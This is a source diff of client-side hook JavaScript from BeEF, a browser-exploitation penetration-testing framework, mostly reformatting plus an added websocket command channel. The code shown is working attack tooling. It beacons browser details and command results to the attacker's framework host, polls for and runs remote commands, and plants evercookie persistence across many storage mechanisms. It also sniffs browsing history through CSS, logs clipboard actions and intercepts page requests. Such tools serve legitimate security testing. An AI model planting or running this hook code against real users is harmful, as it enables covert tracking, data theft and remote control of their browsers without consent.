s = JSON.stringify(o);
|
||||
} catch(error) {
|
||||
// TODO log error / handle cyclic structures?
|
||||
}
|
||||
return s;
|
||||
}
|
||||
var type = typeof(o);
|
||||
|
||||
if (o === null)
|
||||
@@ -126,9 +132,9 @@ beef.encode.json = {
|
||||
'"' : '\\"',
|
||||
'\\': '\\\\'
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
$j.toJSON = function(o) {return beef.encode.json.stringify(o);}
|
||||
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);}
|
||||
$j.toJSON = function(o) {return beef.encode.json.stringify(o);};
|
||||
$j.quoteString = function(o) {return beef.encode.json.quoteString(o);};
|
||||
|
||||
beef.regCmp('beef.encode.json');
|
||||
|
||||
@@ -13,57 +13,67 @@
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
|
||||
// if beef.pageIsLoaded is true, then this JS has been loaded >1 times
|
||||
// and will have a new session id. The new session id will need to know
|
||||
// the brwoser details. So sendback the browser details again.
|
||||
|
||||
BEEFHOOK=beef.session.get_hook_session_id()
|
||||
BEEFHOOK = beef.session.get_hook_session_id();
|
||||
|
||||
if( beef.pageIsLoaded ) {
|
||||
beef.net.browser_details();
|
||||
if (beef.pageIsLoaded) {
|
||||
beef.net.browser_details();
|
||||
}
|
||||
|
||||
window.onload = function() {
|
||||
beef_init();
|
||||
}
|
||||
window.onload = function () {
|
||||
beef_init();
|
||||
};
|
||||
|
||||
window.onpopstate = function(event) {
|
||||
if(beef.onpopstate.length > 0) {
|
||||
event.preventDefault;
|
||||
for(var i=0;i<beef.onpopstate.length;i++){
|
||||
var callback = beef.onpopstate[i];
|
||||
try{
|
||||
callback(event);
|
||||
}catch(e){
|
||||
console.log("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
window.onpopstate = function (event) {
|
||||
if (beef.onpopstate.length > 0) {
|
||||
event.preventDefault;
|
||||
for (var i = 0; i < beef.onpopstate.length; i++) {
|
||||
var callback = beef.onpopstate[i];
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onpopstate - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
window.onclose = function(event) {
|
||||
if(beef.onclose.length > 0) {
|
||||
event.preventDefault;
|
||||
for(var i=0;i<beef.onclose.length;i++){
|
||||
var callback = beef.onclose[i];
|
||||
try{
|
||||
callback(event);
|
||||
}catch(e){
|
||||
console.log("window.onclose - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
window.onclose = function (event) {
|
||||
if (beef.onclose.length > 0) {
|
||||
event.preventDefault;
|
||||
for (var i = 0; i < beef.onclose.length; i++) {
|
||||
var callback = beef.onclose[i];
|
||||
try {
|
||||
callback(event);
|
||||
} catch (e) {
|
||||
console.log("window.onclose - couldn't execute callback: " + e.message);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
function beef_init() {
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
beef.net.browser_details()
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
}
|
||||
if (!beef.pageIsLoaded) {
|
||||
beef.pageIsLoaded = true;
|
||||
if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') {
|
||||
beef.websocket.start();
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.logger.start();
|
||||
|
||||
}
|
||||
else {
|
||||
beef.net.browser_details();
|
||||
beef.updater.execute_commands();
|
||||
beef.updater.check();
|
||||
beef.logger.start();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
@@ -158,14 +158,14 @@ this.get = function(name, cb, dont_reset)
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, cb, undefined, undefined, dont_reset);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
this.set = function(name, value)
|
||||
{
|
||||
$(document).ready(function() {
|
||||
self._evercookie(name, function() { }, value);
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
this._evercookie = function(name, cb, value, i, dont_reset)
|
||||
{
|
||||
@@ -273,7 +273,7 @@ this._evercookie = function(name, cb, value, i, dont_reset)
|
||||
cb(candidate, tmpec);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_window = function(name, value)
|
||||
{
|
||||
@@ -283,7 +283,7 @@ this.evercookie_window = function(name, value)
|
||||
else
|
||||
return this.getFromStr(name, window.name);
|
||||
} catch(e) { }
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_userdata = function(name, value)
|
||||
{
|
||||
@@ -302,7 +302,7 @@ this.evercookie_userdata = function(name, value)
|
||||
return elm.getAttribute(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_cache = function(name, value)
|
||||
{
|
||||
@@ -335,7 +335,7 @@ this.evercookie_cache = function(name, value)
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_etag = function(name, value)
|
||||
{
|
||||
@@ -368,7 +368,7 @@ this.evercookie_etag = function(name, value)
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_lso = function(name, value)
|
||||
{
|
||||
@@ -390,7 +390,7 @@ this.evercookie_lso = function(name, value)
|
||||
attributes.id = "myswf";
|
||||
attributes.name = "myswf";
|
||||
swfobject.embedSWF("evercookie.swf", "swfcontainer", "1", "1", "9.0.0", false, flashvars, params, attributes);
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_png = function(name, value)
|
||||
{
|
||||
@@ -453,7 +453,7 @@ this.evercookie_png = function(name, value)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_local_storage = function(name, value)
|
||||
{
|
||||
@@ -468,7 +468,7 @@ this.evercookie_local_storage = function(name, value)
|
||||
}
|
||||
}
|
||||
catch (e) { }
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_database_storage = function(name, value)
|
||||
{
|
||||
@@ -506,7 +506,7 @@ this.evercookie_database_storage = function(name, value)
|
||||
}
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_session_storage = function(name, value)
|
||||
{
|
||||
@@ -520,7 +520,7 @@ this.evercookie_session_storage = function(name, value)
|
||||
return sessionStorage.getItem(name);
|
||||
}
|
||||
} catch(e) { }
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_global_storage = function(name, value)
|
||||
{
|
||||
@@ -536,7 +536,7 @@ this.evercookie_global_storage = function(name, value)
|
||||
return eval("globalStorage[host]." + name);
|
||||
} catch(e) { }
|
||||
}
|
||||
}
|
||||
};
|
||||
this.evercookie_silverlight = function(name, value) {
|
||||
/*
|
||||
* Create silverlight embed
|
||||
@@ -566,7 +566,7 @@ this.evercookie_silverlight = function(name, value) {
|
||||
'</a>' +
|
||||
'</object>';
|
||||
document.body.innerHTML+=html;
|
||||
}
|
||||
};
|
||||
|
||||
// public method for encoding
|
||||
this.encode = function (input) {
|
||||
@@ -600,7 +600,7 @@ this.encode = function (input) {
|
||||
}
|
||||
|
||||
return output;
|
||||
}
|
||||
};
|
||||
|
||||
// public method for decoding
|
||||
this.decode = function (input) {
|
||||
@@ -636,7 +636,7 @@ this.decode = function (input) {
|
||||
|
||||
return output;
|
||||
|
||||
}
|
||||
};
|
||||
|
||||
// private method for UTF-8 encoding
|
||||
this._utf8_encode = function (string) {
|
||||
@@ -663,7 +663,7 @@ this._utf8_encode = function (string) {
|
||||
}
|
||||
|
||||
return utftext;
|
||||
}
|
||||
};
|
||||
|
||||
// private method for UTF-8 decoding
|
||||
this._utf8_decode = function (utftext) {
|
||||
@@ -694,7 +694,7 @@ this._utf8_decode = function (utftext) {
|
||||
}
|
||||
|
||||
return string;
|
||||
}
|
||||
};
|
||||
|
||||
// this is crazy but it's 4am in dublin and i thought this would be hilarious
|
||||
// blame the guinness
|
||||
@@ -759,7 +759,7 @@ this.evercookie_history = function(name, value)
|
||||
return this.decode(val);
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.createElem = function(type, name, append)
|
||||
{
|
||||
@@ -778,14 +778,14 @@ this.createElem = function(type, name, append)
|
||||
document.body.appendChild(el);
|
||||
|
||||
return el;
|
||||
}
|
||||
};
|
||||
|
||||
this.createIframe = function(url, name)
|
||||
{
|
||||
var el = this.createElem('iframe', name, 1);
|
||||
el.setAttribute('src', url);
|
||||
return el;
|
||||
}
|
||||
};
|
||||
|
||||
// wait for our swfobject to appear (swfobject.js to load)
|
||||
this.waitForSwf = function(i)
|
||||
@@ -798,7 +798,7 @@ this.waitForSwf = function(i)
|
||||
// wait for ~2 seconds for swfobject to appear
|
||||
if (i < _ec_tests && typeof swfobject == 'undefined')
|
||||
setTimeout(function() { waitForSwf(i) }, 300);
|
||||
}
|
||||
};
|
||||
|
||||
this.evercookie_cookie = function(name, value)
|
||||
{
|
||||
@@ -810,7 +810,7 @@ this.evercookie_cookie = function(name, value)
|
||||
}
|
||||
else
|
||||
return this.getFromStr(name, document.cookie);
|
||||
}
|
||||
};
|
||||
|
||||
// get value from param-like string (eg, "x=y&name=VALUE")
|
||||
this.getFromStr = function(name, text)
|
||||
@@ -828,7 +828,7 @@ this.getFromStr = function(name, text)
|
||||
if (c.indexOf(nameEQ) == 0)
|
||||
return c.substring(nameEQ.length, c.length);
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
this.getHost = function()
|
||||
{
|
||||
@@ -836,7 +836,7 @@ this.getHost = function()
|
||||
if (domain.indexOf('www.') == 0)
|
||||
domain = domain.replace('www.', '');
|
||||
return domain;
|
||||
}
|
||||
};
|
||||
|
||||
this.toHex = function(str)
|
||||
{
|
||||
@@ -852,7 +852,7 @@ this.toHex = function(str)
|
||||
r += h;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
};
|
||||
|
||||
this.fromHex = function(str)
|
||||
{
|
||||
@@ -866,7 +866,7 @@ this.fromHex = function(str)
|
||||
e = s;
|
||||
}
|
||||
return r;
|
||||
}
|
||||
};
|
||||
|
||||
/*
|
||||
* css history knocker (determine what sites your visitors have been to)
|
||||
@@ -901,7 +901,7 @@ this.hasVisited = function(url)
|
||||
this._testURL("https://" + url, this.no_color) ||
|
||||
this._testURL("http://www." + url, this.no_color) ||
|
||||
this._testURL("https://www." + url, this.no_color);
|
||||
}
|
||||
};
|
||||
|
||||
/* create our anchor tag */
|
||||
var _link = this.createElem('a', '_ec_rgb_link');
|
||||
@@ -930,30 +930,28 @@ try {
|
||||
}
|
||||
|
||||
/* if test_color, return -1 if we can't set a style */
|
||||
this._getRGB = function(u, test_color)
|
||||
{
|
||||
if (test_color && created_style == 0)
|
||||
return -1;
|
||||
this._getRGB = function (u, test_color) {
|
||||
if (test_color && created_style == 0)
|
||||
return -1;
|
||||
|
||||
/* create the new anchor tag with the appropriate URL information */
|
||||
_link.href = u;
|
||||
_link.innerHTML = u;
|
||||
// not sure why, but the next two appendChilds always have to happen vs just once
|
||||
document.body.appendChild(style);
|
||||
document.body.appendChild(_link);
|
||||
|
||||
/* add the link to the DOM and save the visible computed color */
|
||||
var color;
|
||||
if (document.defaultView)
|
||||
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
|
||||
else
|
||||
color = _link.currentStyle['color'];
|
||||
/* create the new anchor tag with the appropriate URL information */
|
||||
_link.href = u;
|
||||
_link.innerHTML = u;
|
||||
// not sure why, but the next two appendChilds always have to happen vs just once
|
||||
document.body.appendChild(style);
|
||||
document.body.appendChild(_link);
|
||||
|
||||
return color;
|
||||
}
|
||||
/* add the link to the DOM and save the visible computed color */
|
||||
var color;
|
||||
if (document.defaultView)
|
||||
color = document.defaultView.getComputedStyle(_link, null).getPropertyValue('color');
|
||||
else
|
||||
color = _link.currentStyle['color'];
|
||||
|
||||
this._testURL = function(url, no_color)
|
||||
{
|
||||
return color;
|
||||
};
|
||||
|
||||
this._testURL = function(url, no_color){
|
||||
var color = this._getRGB(url);
|
||||
|
||||
/* check to see if the link has been visited if the computed color is red */
|
||||
|
||||
@@ -78,10 +78,10 @@ beef.logger = {
|
||||
);
|
||||
document.body.oncopy = function() {
|
||||
setTimeout("beef.logger.copy();", 10);
|
||||
}
|
||||
};
|
||||
document.body.oncut = function() {
|
||||
setTimeout("beef.logger.cut();", 10);
|
||||
}
|
||||
};
|
||||
document.body.onpaste = function() {
|
||||
beef.logger.paste();
|
||||
}
|
||||
|
||||
@@ -177,7 +177,7 @@ beef.mitb = {
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
};
|
||||
y.send(query);
|
||||
beef.mitb.sniff("POST: " + url + "[" + query + "]");
|
||||
return true;
|
||||
@@ -227,7 +227,7 @@ beef.mitb = {
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
};
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
|
||||
@@ -253,4 +253,6 @@ beef.mitb = {
|
||||
endSession:function () {
|
||||
beef.mitb.sniff("Window closed.");
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.mitb');
|
||||
@@ -20,17 +20,17 @@
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
handler: '/dh',
|
||||
chop: 500,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
host:"<%= @beef_host %>",
|
||||
port:"<%= @beef_port %>",
|
||||
hook:"<%= @beef_hook %>",
|
||||
handler:'/dh',
|
||||
chop:500,
|
||||
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count:0,
|
||||
cmd_queue:[],
|
||||
|
||||
//Command object
|
||||
command: function() {
|
||||
command:function () {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
@@ -38,30 +38,30 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Packet object
|
||||
packet: function() {
|
||||
packet:function () {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
//Stream object
|
||||
stream: function() {
|
||||
stream:function () {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
this.get_base_url_length = function() {
|
||||
this.get_base_url_length = function () {
|
||||
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
|
||||
},
|
||||
this.get_packet_data = function() {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
};
|
||||
};
|
||||
this.get_packet_data = function () {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
};
|
||||
},
|
||||
|
||||
/**
|
||||
* Response Object - used in the beef.net.request callback
|
||||
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
|
||||
*/
|
||||
response: function() {
|
||||
response:function () {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
@@ -73,7 +73,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Queues the command, to be sent back to the framework on the next refresh
|
||||
queue: function(handler, cid, results, callback) {
|
||||
queue:function (handler, cid, results, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
@@ -85,13 +85,26 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Queues the current command and flushes the queue straight away
|
||||
send: function(handler, cid, results, callback) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
send:function (handler, cid, results, callback) {
|
||||
if (typeof beef.websocket === "undefined") {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
}
|
||||
catch (e) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
//Flush all currently queued commands to the framework
|
||||
flush: function() {
|
||||
flush:function () {
|
||||
if (this.cmd_queue.length > 0) {
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
@@ -115,16 +128,16 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Split string into chunk lengths determined by amount
|
||||
chunk: function(str, amount) {
|
||||
chunk:function (str, amount) {
|
||||
if (typeof amount == 'undefined') n = 2;
|
||||
return str.match(RegExp('.{1,' + amount + '}', 'g'));
|
||||
},
|
||||
|
||||
//Push packets to framework
|
||||
push: function(stream) {
|
||||
push:function (stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++) {
|
||||
this.request('http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
this.request(this.port == '443' ? 'https' : 'http', 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
}
|
||||
},
|
||||
|
||||
@@ -143,10 +156,10 @@ beef.net = {
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request: function(scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain){
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
}
|
||||
@@ -154,9 +167,9 @@ beef.net = {
|
||||
|
||||
//build the url
|
||||
var url = "";
|
||||
if(path.indexOf("http://") != -1 || path.indexOf("https://") != -1){
|
||||
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
|
||||
url = path;
|
||||
}else{
|
||||
} else {
|
||||
url = scheme + "://" + domain;
|
||||
url = (port != null) ? url + ":" + port : url;
|
||||
url = (path != null) ? url + path : url;
|
||||
@@ -176,26 +189,26 @@ beef.net = {
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
}else{ //GET, HEAD, ...
|
||||
} else {
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type: method,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
$j.ajax({type:method,
|
||||
url:url,
|
||||
data:data,
|
||||
timeout:(timeout * 1000),
|
||||
|
||||
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
|
||||
beforeSend: function(xhr) {
|
||||
if(method == "POST"){
|
||||
beforeSend:function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
success: function(data, textStatus, xhr) {
|
||||
success:function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -204,14 +217,14 @@ beef.net = {
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
error: function(jqXHR, textStatus, errorThrown) {
|
||||
error:function (jqXHR, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = jqXHR.responseText;
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
complete: function(jqXHR, textStatus) {
|
||||
complete:function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.headers = jqXHR.getAllResponseHeaders();
|
||||
@@ -226,11 +239,11 @@ beef.net = {
|
||||
response.port_status = "open";
|
||||
}
|
||||
}
|
||||
}).done(function() {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
});
|
||||
}).done(function () {
|
||||
if (callback != null) {
|
||||
callback(response);
|
||||
}
|
||||
});
|
||||
return response;
|
||||
},
|
||||
|
||||
@@ -239,13 +252,14 @@ beef.net = {
|
||||
* - requestid: needed on the callback
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*/
|
||||
forge_request: function(scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
// check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain) {
|
||||
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
@@ -274,20 +288,25 @@ beef.net = {
|
||||
response.status_text = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
|
||||
callback(response, requestid);
|
||||
return response;
|
||||
}
|
||||
|
||||
// build and execute the request
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
data: data
|
||||
});
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
data:data
|
||||
});
|
||||
}
|
||||
|
||||
// this is required for bugs in IE so data can be transfered back to the server
|
||||
if ( beef.browser.isIE() ) {
|
||||
dataType = 'script'
|
||||
}
|
||||
|
||||
$j.ajax({type: method,
|
||||
dataType: 'script', // this is required for bugs in IE so data can be transfered back to the server
|
||||
dataType: dataType,
|
||||
url: url,
|
||||
headers: headers,
|
||||
timeout: (timeout * 1000),
|
||||
@@ -295,14 +314,14 @@ beef.net = {
|
||||
// needed otherwise jQuery always adds:
|
||||
// Content-type: application/xml
|
||||
// even if data is populated
|
||||
beforeSend: function(xhr) {
|
||||
beforeSend:function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
// http server responded successfully
|
||||
success: function(data, textStatus, xhr) {
|
||||
success:function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -313,7 +332,7 @@ beef.net = {
|
||||
|
||||
// server responded with a http error (403, 404, 500, etc)
|
||||
// or server is not a http server
|
||||
error: function(xhr, textStatus, errorThrown) {
|
||||
error:function (xhr, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = xhr.responseText;
|
||||
response.status_code = xhr.status;
|
||||
@@ -321,14 +340,34 @@ beef.net = {
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
|
||||
complete: function(xhr, textStatus) {
|
||||
complete:function (xhr, textStatus) {
|
||||
// cross-domain request
|
||||
if (cross_domain) {
|
||||
response.status_code = -1;
|
||||
response.status_text = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
|
||||
response.port_status = "crossdomain";
|
||||
|
||||
if (xhr.status != 0) {
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
// same-domain request
|
||||
response.status_code = xhr.status;
|
||||
@@ -354,7 +393,7 @@ beef.net = {
|
||||
|
||||
//this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
|
||||
//http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
|
||||
clean: function(r) {
|
||||
clean:function (r) {
|
||||
if (this.array_has_string_key(r)) {
|
||||
var obj = {};
|
||||
for (var key in r)
|
||||
@@ -365,7 +404,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Detects if an array has a string key
|
||||
array_has_string_key: function(arr) {
|
||||
array_has_string_key:function (arr) {
|
||||
if ($j.isArray(arr)) {
|
||||
try {
|
||||
for (var key in arr)
|
||||
@@ -377,7 +416,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
//Sends back browser details to framework
|
||||
browser_details: function() {
|
||||
browser_details:function () {
|
||||
var details = beef.browser.getDetails();
|
||||
details['HookSessionID'] = beef.session.get_hook_session_id();
|
||||
this.send('/init', 0, details);
|
||||
|
||||
@@ -58,7 +58,7 @@ beef.net.dns = {
|
||||
img.onload = function() { dom.removeChild(this); }
|
||||
img.onerror = function() { dom.removeChild(this); }
|
||||
dom.appendChild(img);
|
||||
}
|
||||
};
|
||||
|
||||
// encode message
|
||||
var xor_key = Math.floor(Math.random()*99000+1000);
|
||||
|
||||
@@ -23,7 +23,7 @@ beef.updater = {
|
||||
// Low timeouts combined with the way the framework sends commamd modules result
|
||||
// in instructions being sent repeatedly or complex code.
|
||||
// If you suffer from ADHD, you can decrease this setting.
|
||||
timeout: 1000,
|
||||
timeout: 5000,
|
||||
|
||||
// A lock.
|
||||
lock: false,
|
||||
@@ -51,10 +51,14 @@ beef.updater = {
|
||||
beef.net.flush();
|
||||
if(beef.commands.length > 0) {
|
||||
this.execute_commands();
|
||||
} else {
|
||||
this.get_commands();
|
||||
}
|
||||
|
||||
else {
|
||||
this.get_commands(); /*Polling*/
|
||||
}
|
||||
}
|
||||
|
||||
// ( typeof beef.websocket === "undefined")
|
||||
setTimeout("beef.updater.check();", beef.updater.timeout);
|
||||
},
|
||||
|
||||
@@ -78,7 +82,8 @@ beef.updater = {
|
||||
if(beef.commands.length == 0) return;
|
||||
|
||||
this.lock = true;
|
||||
|
||||
/*here execute the command */
|
||||
|
||||
while(beef.commands.length > 0) {
|
||||
command = beef.commands.pop();
|
||||
try {
|
||||
@@ -90,6 +95,6 @@ beef.updater = {
|
||||
|
||||
this.lock = false;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.updater');
|
||||
|
||||
73
core/main/client/websocket.js
Normal file
73
core/main/client/websocket.js
Normal file
@@ -0,0 +1,73 @@
|
||||
//
|
||||
// Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
|
||||
//beef.websocket.socket.send(take answer to server beef)
|
||||
/*New browser init call this */
|
||||
|
||||
beef.websocket = {
|
||||
|
||||
socket:null,
|
||||
alive_timer:<%= @websocket_timer %>,
|
||||
|
||||
init:function () {
|
||||
var webSocketServer = beef.net.host;
|
||||
var webSocketPort = <%= @websocket_port %>;
|
||||
var webSocketSecure = <%= @websocket_secure %>;
|
||||
var protocol = "ws://";
|
||||
|
||||
if(webSocketSecure)
|
||||
protocol = "wss://";
|
||||
|
||||
if (beef.browser.isFF() && !!window.MozWebSocket) {
|
||||
beef.websocket.socket = new MozWebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
|
||||
} else {
|
||||
beef.websocket.socket = new WebSocket(protocol + webSocketServer + ":" + webSocketPort + "/");
|
||||
}
|
||||
|
||||
},
|
||||
/* send Helo message to the BeEF server and start async communication*/
|
||||
start:function () {
|
||||
new beef.websocket.init();
|
||||
